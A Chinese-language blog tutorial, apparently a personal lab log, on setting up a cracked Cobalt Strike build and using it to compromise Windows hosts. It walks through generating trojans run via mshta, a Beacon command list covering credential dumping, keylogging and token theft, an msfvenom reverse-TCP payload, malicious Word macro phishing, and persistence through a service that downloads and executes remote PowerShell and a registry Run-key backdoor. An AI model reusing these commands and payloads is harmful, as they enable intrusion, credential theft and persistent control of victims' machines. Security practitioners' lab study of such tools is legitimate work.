安装

百度的汉化破解版,源地址

下载下来可以看到有挺多文件,但我们只需要关注两个文件即可,start和teamserver

简单介绍下,Cobalt Strike是一款基于java的渗透测试工具,也就是经常在大佬文章中出现的称为CS的神器。它分为客户端和服务端,服务端的关键文件是teamserver和cobaltstrike.jar,而客户端只需在主机上执行start,然后连接服务端即可,通过这种模式,多个客户端可以连接到一个服务端,使得团队成员之间可以共享攻击资源与目标信息和sessions,提升效率。

这里演示下连接效果,以linux服务端为例(当然windows也可以,上面我们可以看到作者已经给我们创建好了bat文件)

查看本机ip地址,执行命令

1
./teamserver ip password #password自定义

客户端运行start.bat,填写相应连接信息

点击连接,成功上线

基本使用

已经是中文版,就方便很多了,这里实践一下百度的一些常用方法

参考:123

上线肉鸡

创建监听器

Cobalt Strike–>监听器–>add–>save

生成木马

方式选择powershell

Generate生成

生成web链接

用刚刚生成的文件生成下载链接

运行木马

在目标主机上运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。

回车,返回Cobalt Strike即可看见肉鸡成功上线

点击进入beacon使用shell+命令即可执行交互

这里借用一下大佬的命令表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Beacon Commands
===============

Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 给当前目标机器备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为生成的post-ex任务设置父PID
ps 显示进程列表
psexec 使用服务在主机上生成会话
psexec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg 查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu 在另一个PID下执行程序
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一个会话
spawnas 以其他用户身份生成会话
spawnto 将可执行程序注入进程
spawnu 在另一个PID下生成会话
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话

socks代理

开启sock代理

主机配置proxychains.conf

nmap扫描内网存活主机

Metasploit联动

CS木马msf监听

msf开启监听

Cobalt Strike上创建两个监听器,windows/beacon_http/reverse_http来监听肉鸡,windows/foreign/reverse_http来将获取到的控制权传给msf(端口与msf监听的端口一致)

选择foreign监听器生成木马在主机上执行

主机上执行可以看到成功获取会话

但就像博主说的,会话极其不稳定,马上就断开了

msf生成木马CS监听
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.128 lport=6666 -f exe -o msf.exe

cs生成链接

目标主机访问链接运行

返回msf可以看到已经获取会话

宏钓鱼

选择office方式

点击生成之后弹出提示框告诉我们步骤

首先随便打开一个word或者office,查看macros

随意命名,打开到this document,回到cs复制macro,粘贴

关闭另存为启用宏的word文档

目标主机打开这个带有恶意宏的文档即可上线

shellcode

CS支持生成多种语言的shellcode

比如powershell

将payload.ps1复制到目标系统并执行以下命令

1
powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

返回CS即可看到返回会话

提权

CS内置两个exp

通过项目可以导入脚本文件来扩展漏洞库,点击Cobalt Strike中的脚本管理器,点击load加载下来的cna文件

选择相应的exp即可尝试提权

权限维持

目的是即使目标主机重启,依旧能保持目标的控制权

设置服务后门

生成一个服务器的恶意脚本

复制生成的命令在目标主机上执行

返回同样上线主机,但只有普通用户的权限,因此想要完成以下的操作需要提权,我这里因为是虚拟机,直接管理员运行了

打开beacon shell并执行命令

1
shell sc create "blacknight" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))\""

执行成功,这时查看目标主机的服务信息发现一个名为blacknight的服务已经创建了

但还是手动的,因此我们需要把他设为自动

执行命令

1
shell sc config "name" start= auto

这是再返回主机查看可以看到已经变成自动的了

这样就设置好了一个服务后门。

设置注册表后门

首先在CS上生成一个恶意可执行文件上传到服务器上

右键打开文件管理

点击下方的upload将恶意文件上传到主机上

执行命令

1
shell reg add HKLM_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\15363\Desktop\artifact.exe" /f

打开主机注册表编辑器可以看到已经写入成功

就跟着做到这里吧,总算是熟悉了一下会用了,以后有啥高级用法另开。